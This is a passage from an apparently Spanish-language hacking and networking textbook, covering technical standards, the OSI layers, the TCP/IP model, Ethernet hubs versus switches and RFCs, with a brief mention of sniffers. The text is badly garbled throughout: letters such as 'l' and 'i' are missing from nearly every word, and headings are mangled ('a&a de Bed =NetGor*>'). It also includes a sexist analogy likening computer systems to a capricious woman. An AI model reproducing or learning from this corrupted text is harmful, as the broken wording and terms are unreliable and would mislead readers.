Debemos saber que para que a fosofa cente y servdor sea una readad, exste un doma
nformtco unversa amado Protocoo TCP/IP y que se expcar ms adeante.
50
Estndares y Normas
Cuando vamos a MacDonad's o a Car |r. a comer una hamburguesa, no mporta en qu fecha o
hagamos, sea a prncpo de ao o a fnaes de msmo. Sempre sabrn gua. Esto se debe
prncpamente a que a preparacn de as hamburguesas en esos ugares se basa en a
estandarzacn. sta estandarzacn dcta a cantdad de ngredentes y otros factores como a
temperatura de a parra y e tempo que debe estar a carne sobre ea, por e|empo. S en a receta
dce 2.5 gramos de un ngredente, sempre debern usarse esos gramos, no ms, n menos.
E ob|eto de estandarzar os procesos permte tener sempre un nve de cadad. S un componente
de os ngredentes fata, o s e tempo en parra fue excesvo, e producto fna sufre y e consumdor
se dar cuenta.
S consderamos que cada computadora esta confgurada segn e deseo de su usuaro, o de una
empresa; s hay gente que usa Wnxx, Lnux o Macntosh, otras estn conectadas por mdem y otras
por ADSL, satte, fbra ptca o cabe, cmo es que funconan en e Internet? Esto es porque exsten
os Estndares y as Normas. Aque que quera formar parte de este mundo debe dsear sus
programas o dspostvos sguendo unas caracterstcas que sean comunes a todos, ya que s no o
hcera, quedara asado de resto de a comundad. Sera a ove|a negra de grupo. La compatbdad
en as comuncacones es bsca para garantzar su crecmento.
Debemos consderar esto, de qu e servra a un programador estrea dsear un navegador de
Internet que fuese dez veces ms rpdo y dos veces ms seguro, pero que no estuvera basado en
e protocoo http? Lo ms probabe es que nade o usara porque nngn sstema de os que exsten
actuamente o entendera. A menos tendra que hacero de modo que pueda usarse en aguna
pataforma como Lnux o Macntosh. Como no tendra usuaros para ta programa, no queda mas que
hacer de trpas corazn y crear os dseos sobre a base de os estndares exstentes. O quz
tendra que crear sus propos estndares y normas basndose en su dseo, pero tardara un buen
tempo en que fueran aceptadas por os dems membros de a comundad.
Exsten muchos proveedores de servcos de red en e mundo, cada uno con sus propas deas de
cmo deben hacerse as cosas. Sn coordnacn, todo sera un caos competo. Para estabecer un
orden que todos puedan segur, se deben acordar certos estndares. Los estndares de redes
permten que dferentes computadoras, ncusve a ambos extremos de mundo, puedan conectarse
sn probemas. Nadando en e caos y os probemas, os usuaros |ams podran sacar provecho de a
red que se ha puesto a su dsposcn.
Exce&ci'n a la Begla
Pero, como en todo en a vda, exsten excepcones a a rega. Mcrosoft es una compaa ggantezca
y poderosa que se sata muchos de os estndares en Internet, pero como tene un sstema operatvo
domnante en e mercado y apcacones muy utzadas y extenddas arededor de mundo, os
usuaros o aceptan sn chstar (aunque a a mayora n e nteresa o ms mnmo a cueston de os
estndares sempre y cuando as apcacones e funconen a su gusto y como debe ser).
En resmen, en vrtud de os caprchos de a compaa creadora de Wndows, os pobres
admnstradores de os sstemas deben darse a a tarea de crear apcacones sobre a base de as
modfcacones ntroducdas a chaeco por Wam Gates desde su escrtoro.
A veces puede suceder que sae una modfcacn que es ega y |usta, pero cuando aparecen una
sere de cambos arbtraros, aparecen nuevos estndares no ofcaes que son ncompatbes con os
que se encontraban vgentes en ese momento. Luego, deben hacerse un montn de cambos para
ponerse a da con as nuevas dsposcones decretadas antdemocrtcamente.
51
Capas de Red
Entroducci'n
<odelo O0E4 La organzacn que se encarga de reguar os estndares es a ISO y en 1983 sus
membros aprobaron e modeo OSI (Open System Interconnecton), que dvde os protocoos de as
redes en 7 capas que sguen a fosofa de "e que est ms aba|o que se as arrege soo".
Aunque parezca egosta, esta forma de pensar y actuar, es de o ms comn en Internet, tanto en
programacn como a hora de dsear un protocoo. Se basa en e "dvde y vencers".
ISO (Internatona Organzaton for Standarzaton- Organzacn Internacona para a Estandarzacn)
Es una organzacn de carcter vountaro fundada en 1946 que es responsabe de a creacn de os
estndares nternaconaes en muchas reas, ncuyendo a nformtca y as comuncacones. Est
formada por as organzacones de estandarzacn de sus pases membro.
OSI u Open Systems Interconnecton (Interconexn de Sstemas Abertos). Es e modeo de referenca
dseado por comts ISO con e ob|etvo de convertros en estndares nternaconaes para a
arqutectura de redes de computadoras.
Los sstemas nformtcos pueden ser comparados con una mu|er: Hermosa y decada, pero muy
caprchosa, voube y a veces, exageradamente compcada de entender, porque exsten cosas ms
a de o que se ve a prmera vsta. Abarcar todos os probemas que surgen de una vez puede
resutar nfructuoso, caro y desastroso. A presentarse un probema, se debe ndagar en un nve
nferor para buscar a raz de o que o provoca, entonces se busca a soucn ms senca posbe,
para retomar despus e probema orgna, ahora convertdo en ago ms smpe. Es de esta manera
que nacen o que se ha egado a conocer como as Ca|as Negras, capas o mduos. Se ama ca|a
negra a todo o que, sn mportar como funcona, proporcona a respuesta adecuada.
Por e|empo, magnemos una cadena de monta|e. Los nvees mpementan a un grupo de operadores
de una cadena de produccn, y cada nve, supone que os nvees anterores han souconado unos
probemas de os que eos se desentenden. Esto es permte so preocuparse de os probemas que
puedan aparecer en su msmo nve y devover e contro, un poco ms eaborado, a os nvees
superores que de nuevo se preocupan por resover sus propos probemas e r me|orando as e
producto que se est eaborando.
En cuestones de nformtca, traba|ar a "ato nve" sgnfca tener todas as comoddades. Se han
souconado un montn de probemas y soo nos dedcaremos a o que reamente nos mporta. Por
e|empo, a escrbr en un procesador de texto (como Word o e Open Offce), so tenemos que
"usaro", pusando as tecas y guardando e documento, abrendo archvos o envando stos a
dspostvo de mpresn. Pusamos un cono en a barra de herramentas con e ratn y e texto se
pone en negras.
Todo o anteror se hace sn saber que, a ba|ar un nve, exsten procesos nternos que trasadan o
que sae en pantaa haca e dsco duro o envando os datos a a coa de mpresn. S nos
aventuramos a descender un nve ms, veremos como se mueve e brazo de dsco duro para
encontrar un hueco donde coocar os datos escrtos.
A cada nve nferor e toca ms traba|o y aun ms responsabdad. Sn de|ar de usar e e|empo de
un procesador de texto, s ba|ramos ms nvees, nos preocuparamos por recoger a sea de
tecazo, buscar un hueco en a memora para representara en a pantaa, mprmra, etc.
52
Los hackers sempre deben ba|ar nvees para poder souconar probemas, ndagar y trastocar e nve
superor, as ogran aprovecharse de os programas o pueden conocer como funconan as redes. De
este modo pueden controar a mquna: ba|ando nvees... sempre ba|ando nvees. Pero hay que
recordar que mentras ms se ba|e por os nvees, hay ms traba|o esperando ya que os pasos
mpcados son ms pequeos. Por esta razn, a este procedmento de traba|o se e conoce como
Descender a Hades.
Por otra parte, os programas de usuaro, as apcacones, reazan todo ese traba|o, berndonos de
traba|o tedoso. Wndows es un sstema operatvo muy tendente a mmar a os usuaros. Les arrebata
e contro de sstema. Es por eso que un usuaro experto prefera otro tpo de sstema que e permta
e|ecutar cuaquer tpo de accn de modo concente y ba|o su propa responsabdad. sta es a
razn por a que muchas personas que se han encontrado nconformes con su sstema operatvo
actua -ase Wndows- camben a Lnux en cuaquera de sus dstros o versones.
En matera de redes, e modeo OSI defn 7 capas o nvees orentatvos en os que deberan basarse
y a|ustarse todos os dseadores nformtcos de redes a nve gobazado. E modeo se conoce con
e nombre de Modeo de Referenca OSI (Open Systems Interconnecton -#ntercone4in de 1istemas
/biertos) puesto que se ocupa de a conexn de sstemas abertos, es decr, sstemas que estan
abiertos a a comuncacn con otros sstemas.
En e modeo OSI exsten tres conceptos que son fundamentaes: Los servcos, as nterfaces y os
protocoos. Cada capa presta agunos servcos a a capa que se encuentra encma de ea. La
defncn de servco dcta o que a capa hace, no como funcona. La nterfaz de una capa es dce a
os procesos de arrba cmo acceder a ea. Fnamente, os protocoos son asunto de a capa. sta
puede usar os protocoos que quera, sempre que consga que se reace e traba|o, o sea, que
provea os servcos que ofrece.
E modeo OSI se desarro antes de que se nventaran os protocoos, por o que no se orent haca
un con|unto especfco de protocoos, o cua o convrt en ago muy genera.
Podemos comparar a comuncacn en as redes con a comuncacn verba humana ya que os
trmnos son muy abstractos. Debemos recordar que toda comuncacn habada entre dos o ms
personas requere que utcemos regas bscas que deben ser respetadas, como a etqueta, para
que todos os nvoucrados se puedan entender y os mensa|es puedan egar de manera adecuada a
a persona correcta. En as redes, entre as computadoras tambn se estabece un tpo de
"comuncacn" especa. A gua que con os profesonaes, como os cru|anos, arqutectos que
haban su propa |erga, tambn as maqunas conectadas a Internet se comuncan en su propo
doma.
Los prncpos que se apcaron para egar a as sete capas son os sguentes:
1.- Cada capa debe reazar una funcn ben defnda.
2.- La funcn e cada capa se debe escoger pensando en a defncn de protocoos estandarzados.
3.- Los mtes de as capas deben eegrse a modo de mnmzar e fu|o de nformacn a traves de as
nterfaces.
4.- La cantdad de capas debe ser sufcente para no tener que agrupar funcones dstntas en a
msma capa y o bastante pequea para que a arqutectura no se vueva nmane|abe.
Detalles de las a&as
Es de gran utdad aprenderse todas as capas, qu hace cada una de eas y sus caracterstcas
reevantes, porque de ese modo no se har compcado comprender os sguentes temas.
Comenzaremos por e nve ms nferor.
53
a&a !;sica =P+)sical>
Es a capa (tambn amada nve) que tene que ver con a transmsn de bts por un cana de
comuncacn.
Objetivo: Las consderacones de dseo tenen que ver con a accn de asegurarse de que cuando
de un ado se enve un bit 3, se recba rea y exactamente de otro ado como bit 3 y no como bit R.
0olventa: os votos necesaros para representar un bt, os mcrosegundos que debe durar e envo,
etc.
Aqu as consderacones de dseo tenen mucho que ver con as nterfaces mecnca, ectrca y de
procedmentos, y con e medo de transmsn fsco que est ba|o a capa fsca.
Se puede comparar con e medo que usamos para habar con otra persona. Puede ser e are, un
tefono o cuaquer otro sstema. Lo mportante es que cada sondo que se emta a habar sea
fnamente escuchado por nuestro nterocutor.
a&a de Enlace de Datos =Data Lin*>
La tarea prncpa de esta capa es tomar un medo de transmsn en bruto y convertro en una nea
que aparezca bre de errores de transmsn no detectados a a capa de red. Esta tarea a cumpe a
hacer que e emsor dvda os datos de entrada en marcos de datos (frames -normamente unos
centos o mes de bytes), que transmta os datos en forma secuenca y procese os marcos de acuse
de recbo que devueve e receptor. La capa de enace de datos depende de tpo de conexn que se
tenga, DSL, Cabe, etc.
Objetivo: crea y reconoce tramas (o rfagas) de bts que a capa fsca produce.
0olventa: La capa de enace evta por certos mecansmos que un transmsor muy rpdo sature a un
receptor muy ento. Regua e trfco de datos para que e transmsor sepa cunto espaco de
amacenamento tempora (bfer) tene e receptor en ese momento. Estabece un patrn que
ndque, por e|empo, que un bt no es un dato en s, sno una ndcacn de fn de trama.
Esto se puede comparar con as paabras que uno usa, a veocdad con que as emtmos para que
puedan ser entenddas segn e medo y e nterocutor.
a&a de Bed =NetGor*>
Objetivo: Controar as operacones de posbes subredes que se encuentren entre as redes. Un
e|empo de protocoo de esta capa es X.25
0olventa: La capa de red se encarga de encamnar os paquetes desde e punto de orgen a destno,
tomando decsones sobre rutas y envando paquetes a nodos que no estn drectamente conectados.
Un nodo es un dspostvo conectado a a red, capaz de comuncarse con otros dspostvos de a
msma. Legar a destno puede requerr de muchos satos por routers ntermedos y es una funcn
que reamente contrasta con a de a capa de enace de datos. E paquete es una undad de
transmsn que consste en nformacn bnara (de 0s y 1s) que representan os datos.
Para ograr su ob|etvo, a capa de red debe conocer a topooga de a subred de comuncacones, es
decr, e grupo de routers, y escoger as trayectoras adecuadas a travs de ea. Cuando e orgen y
destno se encuentran en redes dferentes, es responsabdad de a capa de red a gestn de estas
dferencas y a resoucn de probemas que causan
En una comuncacn entre tres personas, se puede comparar con e hecho de drgr o que se quere
decr a nterocutor adecuado o ncuso envar mensa|es a travs de unas personas a otra gente que
no se conoce.
Esta capa es a amada EP. Identfca as dstntas maqunas para que estas puedan dferencarse
unas de otras y mantener as as comuncacones separadas.
54
a&a de Trans&orte =Trans&ort>
Objetivo: asa as dferencas de hardware entre a capa de red y a de sesn.
0olventa: as dferencas de mpementacn entre os dstntos dspostvos fscos (tar|etas, por
e|empo.
sta es a capa TP y es e nceo de a |erarqua competa de protocoos. Su funcn bsca es
aceptar os datos de a capa de sesn, dvdros en undades ms pequeas s fuera necesaro,
pasaros a a capa de red y asegurar que todos os pedazos eguen correctamente a otro extremo.
La meta fundamenta de esta capa es proporconar un transporte de datos confabe y econmco
desde a mquna de orgen a a mquna de destno, ndependentemente de a red o redes fscas en
uso. Sn a capa de transporte, e concepto tota de os protocoos en capas carecera de sentdo.
Para ograr su ob|etvo, a capa de transporte hace uso de os servcos proporconados por a capa de
red. E hardware o e software de a capa de transporte que se encarga de traba|o se conoce como
entidad de transporte y se puede encontrar en e nceo (kerne) de sstema operatvo, en un proceso
de usuaro ndependente o en un paquete de brera que forma parte de as apcacones de a red o
en a tar|eta de nterfaz de a red (NIC, Network Interface Card o tar|eta Ethernet ).
En condcones normaes, a capa de transporte crea una conexn de red dstnta para cada conexn
de transporte que requera a capa de sesn. Sn embargo, s a conexn de transporte requere un
vomen de transmsn demasado ato, a capa de transporte podra crear mtpes conexones de
red, dvdendo os datos entre as conexones para aumentar e vomen.
Podra compararse con e engua|e, entenddo por as dos personas ndependentemente de su
naconadad, sexo o dferencas fscas. Agunos bros aman a esta capa de transportacin.
a&a de 0esi'n =0ession>
Objetivo: que os usuaros de dferentes mqunas puedan estabecer sesones entre eos. A travs
de una sesn se puede evar a cabo un transporte de datos ordnaro.
0olventa: controar os "dogos". Tambn que e trfco vaya en ambas dreccones o so en una,
durante un nstante dado segn se requera.
Una sesn permte e transporte ordnaro de datos, como o hace a capa de transporte, pero
tambn proporcona servcos me|orados que son tes en agunas apcacones. Se podra usar una
sesn para que un usuaro se conecte a una mquna remota o para transferr un archvo entre dos
mqunas.
Uno de os servcos de esta capa es mane|ar e contro de dogo. Las sesones pueden permtr que
e trfco vaya en ambas dreccones a msmo tempo, o soo en una dreccn a a vez. S e trfco
puede r en un soo sentdo (como con as vas de ferrocarr), a capa de sesn puede evar e
contro de os turnos.
Un servco de sesn reaconado es e mane5o de fichas (tokens). Para agunos protocoos es esenca
que ambos ados no ntenten a msma operacn a msmo tempo. A fn de controar estas
actvdades, a capa de sesn proporcona fchas que se pueden ntercambar. Soamente e ado que
posea a fcha podr efectuar a operacn crtca. Otro servco es e de sincronizacin. Consderemos
os probemas que pueden surgr cuando tratamos de efectuar una transferenca de archvos de dos
horas de duracn entre dos mqunas que tenen un tempo medo entre rupturas de 1 hora. Cada
transferenca, despus de abortar, tendra que empezar de nuevo desde cero y probabemente
faara de nuevo a sguente vez. Para emnar este probema, a capa de sesn ofrece una forma de
nsertar puntos de verfcacn en a corrente de datos, de modo que tras cada nterrupcn soo se
reptan os datos transferdos despus de tmo punto de verfcacn (check pont).
Sguendo a anaoga de a comuncacn humana, estabecera e "orden" en e que se comuncan os
nterocutores para poder habar entre s sn soaparse, estabecendo conversacones.
55
a&a de Presentaci'n =Presentation>
Objetivo: os aspectos "semntcos" y "sntctcos" de a nformacn que se transmte.
0olventa: entre otros, a presentacn de a nformacn en formato ASCII
14
, que es un esquema de
codfcacn que permte asgnar vaores numrcos hasta 256 caracteres, ncuyendo etras, nmeros,
sgnos de puntuacn, caracteres de contro y otros smboos.
La capa de presentacn reaza certas funcones que se pden con sufcente frecuenca para
|ustfcar a bsqueda de una soucn genera, en ugar de de|ar a usuaro soo para que resueva os
probemas. A dferenca de as dems capas que soo se nteresan en mover bts de aqu para a, a
capa de presentacn se ocupa de a sntaxs y a semntca de a nformacn que se transmte.
Un e|empo de servco es a codfcacn de datos en una forma estndar acordada. La mayora de os
programas de usuaro no ntercamban cadenas de bts a azar; ntercamban cosas como fechas,
nombres de personas, cantdades de dnero, etc. Estos eementos se presentan como cadenas de
caracteres, enteros, cantdades de punto fotante y estructuras de datos compuestas de varos
eementos ms smpes.
Las dferentes computadoras tenen cdgos dferentes para representar cadenas de caracteres (por
e|empo ASCII y UNICODE), enteros y dems. Con e fn de hacer posbe a comuncacn entre
computadoras con representacones dferentes, as estructuras de datos por ntercambar se pueden
defnr en forma abstracta |unto con un cdgo estndar. La capa de presentacn mane|a estas
estructuras de datos abstractas y as converte de a representacn que se usa dentro de a
computadora a a representacn estndar de a red y vceversa.
Se podra comparar con e hecho de habar correctamente, construr frases que puedan ser
entenddas, que stas sean gcas para que puedan ser nterpretadas por os nterocutores.
a&a de A&licaci'n =A&&lication>
Objetivo: proporconar una nterfaz senca a usuaro. Contene a varedad de protocoos exstentes.
0olventa: os hace compatbes entre eos.
Las capas por deba|o de a de apcacn estn ah para proporconar un transporte confabe, pero no
hacen un verdadero traba|o para os usuaros. Exsten centos de termnaes en e mundo que son
ncompatbes, por o que esta capa supondra e ms ato nve, e uso y entendmento de, por
e|empo, frases hechas que tenen sentdo so en ese momento y entre nterocutores. Como cuando
una persona tene que "ba|arse" de nve cutura para comuncarse con un chango de Tepto:
"Ouubo m vaedor, quepazotes con os eotes?"
Imagnemos a stuacn de un edtor de pantaa competa que debe traba|ar en una red con muchos
tpos dferentes de termnaes, cada uno con formatos dferentes de pantaa, secuencas de escape
para nsertar y emnar texto, mover e cursor, etc. La capa de apcacn soventa este tpo de
probemas.
Otra funcn de a capa de apcacn es a transferenca de archvos. Los dferentes sstemas de
archvos tenen dferentes convencones para nombrar os archvos, formas dstntas de representar
neas de texto, etc. La transferenca de archvos entre dos sstemas dferentes requere a resoucn
de stas y otras ncompatbdades. Este traba|o tambn pertenece a a capa de apcacn, o msmo
que e correo eectrnco, a carga remota de traba|os, a bsqueda en drectoros y otros recursos de
uso genera y partcuar.
14American Standard Code for Information Interchange" (Estndar Americano de Codificacin para el Intercambio de Informacin) Conjunto
de normas de codificacin de caracteres mediante caracteres numricos, de amplia utilizacin en informtica y telecomunicaciones.
56
En a capa de apcacn se requeren de protocoos de apoyo que permtan e funconamento de as
apcacones reaes. Tres de eos son:
0eguridad en la red4 Oue en readad no es soo un protocoo, sno una gran coeccn de conceptos
y protocoos que pueden usarse para asegurar a confdencadad donde sea necesara.
DN04 Oue mane|a os nombres de Internet.
Administraci'n de la red4 Oue sera e tmo protocoo de apoyo de a capa de apcacn.
<odelo de re7erencia TP2EP
Todo o anterormente patcado es tan soo en teora y ago en que apoyar nuestro estudo. E modelo
de referencia 2"!6#! es un protocoo basado en este modeo de dvsn, que no usa agunas de as
capas que a OSI "recomenda". Por e|empo, en e modeo TCP/IP no estn presentes as capas de
presentacn n de sesn. De aguna manera, e protocoo determna con su dseo os ob|etvos, que
ya estn consegudos con as de apcacn y de transporte. Las capas de enace y fsca en este
modeo prctcamente son guaes.
Las capas de e modeo TCP/IP son
La a&a de Enterred4 Es e e|e que mantene unda toda a estructura. La msn de esta capa es
permtr que os nodos nyecten paquetes en cuaquer parte de a red y os hagan va|ar de manera
ndependente a su destno (que podra estar en una red dferente). Los paquetes pueden egar en
orden dferente a aque en que se envaron, en cuyo caso, corresponde a as capas superores
reacomodaros.
La capa de nterred defne un formato de paquete y protocoo ofca amado IP (Internet Protoco). E
traba|o de a capa de nterred es entregar paquetes IP a donde se supone que deben egar. Aqu a
consderacn ms mportante es e ruteo de os paquetes y tambn evtar a congestn. Son por
estas consderacones que e modeo TCP/IP es muy parecda en funconadad a a capa de red OSI.
a&a de Trans&orte4 Esta capa se dse para permtr que as entdades pares en os nodos de
orgen y destno even a cabo un dogo (gua que en a capa de transporte de a OSI). Aqu se
defneron dos protocoos de extremo a extremo. E prmero es e TCP (Transmsson Contro Protoco,
Protocoo de Contro de Transmsn), un protocoo confabe orentado a a conexn que permte que
una corrente de bytes orgnada en una mquna se entregue sn dfcutades a cuaquer otra
mquna de a nterred. E segundo protocoo de esta capa es e UDP (User Datagram Protoco,
Protocoo de Datagrama de Usuaro) que es un protocoo no orentado a a conexn. Ambos
protocoos os revsaremos en sus respectvos captuos.
a&a de A&licaci'n4 E modeo TCP/IP no posee capas de sesn n de presentacn ya que se pens
que no seran necesaras ya que se utzan muy poco en a mayor parte de as apcacones. La capa
de apcacn contene todos os protocoos de ato nve. Entre os protocoos ms antguos estn e
de termna vrtua (TELNET), e de transferenca de archvos (FTP) y e de correo eectrnco (SMTP). A
travs de tempo se e han aaddo muchos otros protocoos como e servco de nombres de domno
(DNS); HTTP, e protocoo para recuperar pgnas en a Word Wde Web y muchos otros.
Esta forma de asar os probemas en capas hace posbe que, por e|empo, en una red casera, no sea
necesaro reazar nngn cambo a nve software s se susttuye e tpo de cabeado. Intercambar un
cabe coaxa por un R|-45 (parecdo a de tefono) no requere mas que enchufar uno u otro. Esto es
porque e cabe soucona a capa fsca: a os otros nvees nada es mporta s es coaxa o R|-45
mentras e probema se resueva y que os bts sean transmtdos y eguen en paz y ben a su
destno.
57
Protocoo de Ethernet
En os 70s nac e tpo de red oca ms usado: e Ethernet. E protocoo de Ethernet es a manera
ms usua de conectar computadoras cercanas y traba|a envando a nformacn en paquetes a as
mqunas de a red. Se caracterza por e uso de una soa nea de comuncacn (aunque no tene por
que ser un soo cabe) por e que crcua toda a nformacn. La prncpa venta|a de Ethernet es que
para agregar un nuevo dspostvo a a red, no hace fata reazar n un soo cambo. Se aade, se
confgura segn as especfcacones y ste comenza a funconar sn ms, pudndose comuncar con
cuaquer otro dspostvo ya enazado en a red.
En teora, una LAN Ethernet consta de un cabe coaxa amado 7ter, a que se conectan varas
computadoras que comparten un nco medo de transmsn.
En una red Ethernet, os paquetes de nformacn (en caso de no encontrarse en segmentos dstntos)
egan a todos os dspostvos, no nada ms a que est destnado. Sn embargo, o que en readad
sucede es que de toda a nformacn que es ega, comprueban s son o no, e verdadero
destnataro. S o son, recogen a nformacn y a procesan. S no o son, de|an pasar a nformacn.
A fna, os dstntos protocoos se encargarn de hacera egar a su destno egtmo.
Exste tambn una dreccn especa de nombre @roadcast (dfusn, en ngs) que todo e mundo
consdera guamente como suya. S se enva nformacn donde en e campo destnataro aparezca a
dreccn broadcast (es un estndar, gua en todas as redes), todos os sstemas nterpretarn que a
nformacn es para eos.
Ti&os de Et+ernet
Es mportante hacer a dstncn entre os dos tpos bscos de ambentes de Ethernet. E prmer
ambente es e amado Et+ernet com&artida donde os cabes de Ethernet de a LAN convergen en
un hub o hubs. La manera en que e trfco es drgdo en este tpo de red puede compararse a a
forma en que e correo se entrega en os campos mtares. Una persona se para frente a todos os
recutas y comenza a eer os nombres que aparecen en as cartas. Los sodados escuchan
atentamente esperando escuchar su nombre. Cuando un nombre es edo, todos o escuchan, pero
soo aquea persona que tene ese nombre puede recoger a carta. En este caso, a persona que
reparte as cartas es e hub, mentras que as personas que esperan a correspondenca son as
estacones de traba|o en a LAN.
A utzar una Ethernet compartda, os hubs permten un domno de dfusn senco, o que sgnfca
que s a computadora A desea envar nformacn a a computadora B, a nformacn va|a por a red
egando a cada computadora de a red. Todas as computadoras gnorarn os datos a excepcn de B
que es a quen van drgdos.
58
Et+ernet &or 0Gitc+es =conmutada>
En contraste, s reempazamos os hubs por swtches (conmutadores), cada conexn Ethernet se
converte en una conexn de host asado entre a computadora y e swtch. E swtch e sgue a
huea a cada computadora por medo de su dreccn MAC y a fna entrega a nformacn destnada
a esa computadora especfca a travs de puerto que est conectado a esa computadora. Esto es
anogo a cartero que va drectamente a a casa con e nmero que vene escrto en a carta. En este
e|empo, e cartero representa a swtch mentras que as casas son as computadoras o estacones de
traba|o.
E swtch mantene una taba de nformacn que mapea e puerto sobre e swtch a a dreccn MAC
de a computadora que est conectada en cada puerto de swtch
Con as herramentas adecuadas, y que repasaremos ms adeante, se puede obtener toda a
nformacn de a red, sn mportar a quen va drgda en tmo ugar.
Cuando se quere poner un snffer, es ms fc hacero en una Ethernet compartda que en una de
tpo conmutada. Esto se debe a que os swtches asan e trfco de esta manera. Ya no es tan fc
smpemente poner a tar|eta de red en modo promscuo (que es e modo en que as tar|etas de red
pueden aceptar todo e trfco ncusve e que no va drgdo a eas) debdo a que e swtch soo
mover e trfco a a computadora con a tar|eta de red ndvdua de ea.
En as redes segmentadas, e capturar trfco que no est destnado a nuestra propa computadora
requere software especa que veremos en e captuo que trata sobre snffers. Vase a fgura de
aba|o, donde podemos aprecar cmo e swtch entrega e trfco de y haca as computadoras dentro
de segmento
Fguras hechas por Lora Danee
59
Protocolos De Red (Introduccin)
Es una forma de comuncacn defnda. Cuando saudamos a aguen exste un protocoo soca a
segur y es mas o menos de a sguente manera. T saudas, a otra persona sauda como respuesta.
T habas mentras a otra persona espera a que termnes para contestar. T te despdes y tu
nterocutor se despde tambn. Fn de a conversacn.
Aunque no se note, ambos han segudo un con|unto de regas: ambos haban casteano, uno dce
"hoa" e otro contesta "hoa, cmo ests?; uno dce "ads", e otro contesta "nos vemos maana".
No es que todo esto tenga que ver con os modaes, s no que exsten normas a segur ante certos
comportamentos, aunque gcamente, os seres humanos soemos ser ms fexbes segn a
stuacn que enfrentemos.
B!s
Los protocoos nformtcos son defndos por documentos amados RFC (8equest 9or "omments
-Soctud de Comentaros). sta una forma comn de pubcar nuevas deas para protocoos o
procedmentos para su evauacn por parte de a comundad de Internet. Los RFCs comenzaron en
1967 y aunque no son obgatoros, as apcacones tratan de adherrse a sus neamentos o ms
posbe una vez que han sdo aprobados por a comundad.
Crear un protocoo es una abor no carente de dfcutad. Exsten tantos aspectos a tratar, que cuando
una entdad decde crear uno (como HTTP o FTP), necesta a su vez de os comentaros de centos de
expertos en todo e mundo. De este modo, aguen defne as neas generaes y as hace pbcas en
Internet, e resto de os expertos va probando e protocoo, me|orndoo, aportando deas, hasta que
despus de meses (a veces aos), se consdera que e protocoo est maduro, sto para funconar y
que se puede convertr en un estndar en a ndustra nformtca. En muy pocas ocasones se
requerr modfcar as especfcacones, se crear una nueva versn con as me|oras, pero nunca se
cambarn as que ya tenen denomnacn de estndar.
Todo e que quera reazar un programa o dspostvo basado en estos protocoos, tendr que acudr a
os documentos que defnen stos para que sea compatbe con e resto y pueda reamente funconar.
De otra manera quedar asado (excepto, como ya d|e, Mcrosoft.) Todos os RFC pueden ser
encontrados en www.rfc-edtor.org y son de naturaeza muy tcnca. Mayor nformacn acerca de os
RFC se puede encontrar en su pgna ofca.
No todos os RFC's (en readad muy pocos de eos) descrben estndares de Internet pero todos os
estndares de Internet estn escrtos en forma de RFCs.
He menconado anterormente que as maqunas deben habar su propo doma. Este doma
unversa es e TCP, y os engua|es que utza cada mquna apoyndose en TCP/IP son os que
permten as dversas tareas, como transferr archvos (FTP), envar correo (SMTP
15
) y mostrar
pgnas web (http), etc. Para factar a comuncacn entre as maqunas es necesaro separar por
capas as comuncacones.
15SMTP Simple Mail Transfer Protocol (Protocolo Simple de Transferencia de Correo) Protocolo definido en STD 10, RFC 821, que se usa
para transferir correo electrnico entre computadoras. Es un protocolo de servidor a servidor, de tal manera que para acceder a los mensajes
es preciso utilizar otros protocolos.
60
Introduccn a TCP/IP
TCP/IP es un |uego de protocoos dseados para permtr a as computadoras que puedan compartr
recursos sobre una red. Fue desarroado por una comundad de nvestgadores cuando se evantaba
a abuea de todas as redes, a ARPANET. Lo que se buscaba era a manera de conectar mtpes
redes usando protocoos que reempazaran a os anterores o que do nacmento a modeo de
referenca TCP/IP. TCP/IP se dse de manera especfca para gestonar a comuncacn en as
nterredes y desde medados de os 60s hasta hoy, os fabrcantes y vendedores de productos para
redes tenen soporte TCP/IP.
A a sere de protocoos que descrbremos a contnuacn, se e conoce tembn como Suite de
Protocolos de Internet. TCP e IP son os dos protocoos en esta sute y se descrbrn por separado.
Dado que TCP e IP son os protocoos ms conocdos, se ha vueto de uso comn usar e trmno
TCP/IP para referrnos a toda a fama.
Enternet
Cuando a cantdad de redes, mqunas y usuaros conectados a ARPANET crec, TCP/IP y su sere de
protocoos se convrt en e nco protocoo ofca y es o que mantene unda a a Internet. Internet
es una gran coeccn de redes y cuaquer mquna que est en Internet opera con a pa de
protocoos TCP/IP, tene una dreccn IP y es capaz de envar paquetes de IP a todas as dems
mqunas de Internet.
Tradconamente, Internet ha tendo cuatro apcacones esencaes basadas en os servcos que
ofrece a mpementacn de modeo TCP/IP:
Dso de orreo Electr'nico4 (Ema) La capacdad de redactar, envar y recbr correo eectrnco ha
estado dsponbe desde os tempos de ARPANET y sgue an vgente. Vrtuamente no hay persona
que tenga Internet y no posea una dreccn de correo eectrnco.
Jru&os de Noticias4 (O newsgroups) son foros especazados en os que os usuaros con un nters
comn pueden ntercambar mensa|es.
0esi'n Bemota4 Medante e uso de Tenet u otros programas, os usuaros en cuaquer ugar de a
Internet pueden ngresar en cuaquer mquna en a que tengan una cuenta autorzada. Se nca una
sesn especfcando a computadora con as que deseamos conectarnos. Se usa e protocoo Tenet
para ograr esto.
Trans7erencia de Arc+ivos4 Con e programa FTP, es posbe copar archvos de una mquna en
Internet a otra, es decr, se pueden recbr o envar archvos. De esta forma est dsponbe una
cantdad mpresonante de archvos para quen os neceste.
Descri&ci'n Jeneral de Los Protocolos TP2EP
TCP/IP es una sere de protocoos en capas. Para comprender o que esto sgnfca ser t un
e|empo. Una stuacn tpca es e envo de correo eectrnco. Prmero, exste un protocoo que rge
e correo y que defne una sere de comandos que una mquna enva a otra (por e|empo, comandos
que especfcan qun es e remtente, a qun va drgdo e mensa|e y, fnamente, e texto de
mensa|e). Sn embargo, este protocoo asume que exste una forma de comuncacn confabe entre
as dos mqunas. E correo, a gua que con os dems protocoos de apcacn, smpemente defne
un |uego de comandos y os mensa|es que sern envados. Est dseado para usarse con TCP/IP.
TCP es responsabe de asegurar que os comandos eguen a otro extremo de a nea. Da un
segumento a o que se enva y retransmte aqueo que no haya egado a su destno. S un mensa|e
es demasado argo para un datagrama, como e texto de correo, TCP o partr en datagramas ms
pequeos y verfcar que os pedazos eguen correctamente.
61
En vrtud de que estas funcones son necesaras para muchas apcacones, se coocan en un
protocoo separado con a fnadad de no tener que poneras como parte de as especfcacones para
envo de correos eectrncos. Uno puede consderar a TCP como parte de una brera de rutnas que
as apcacones pueden usar cuando requeran comuncacones de red confabes
De a msma manera que con TCP, podemos pensar en e protocoo IP como una brera de rutnas
que es nvocada por TCP. Aunque os servcos que son sumnstrados por TCP son necesaros para
muchas apcacones, exsten agunos tpos de apcacones que no os necestan. Sn embargo, hay
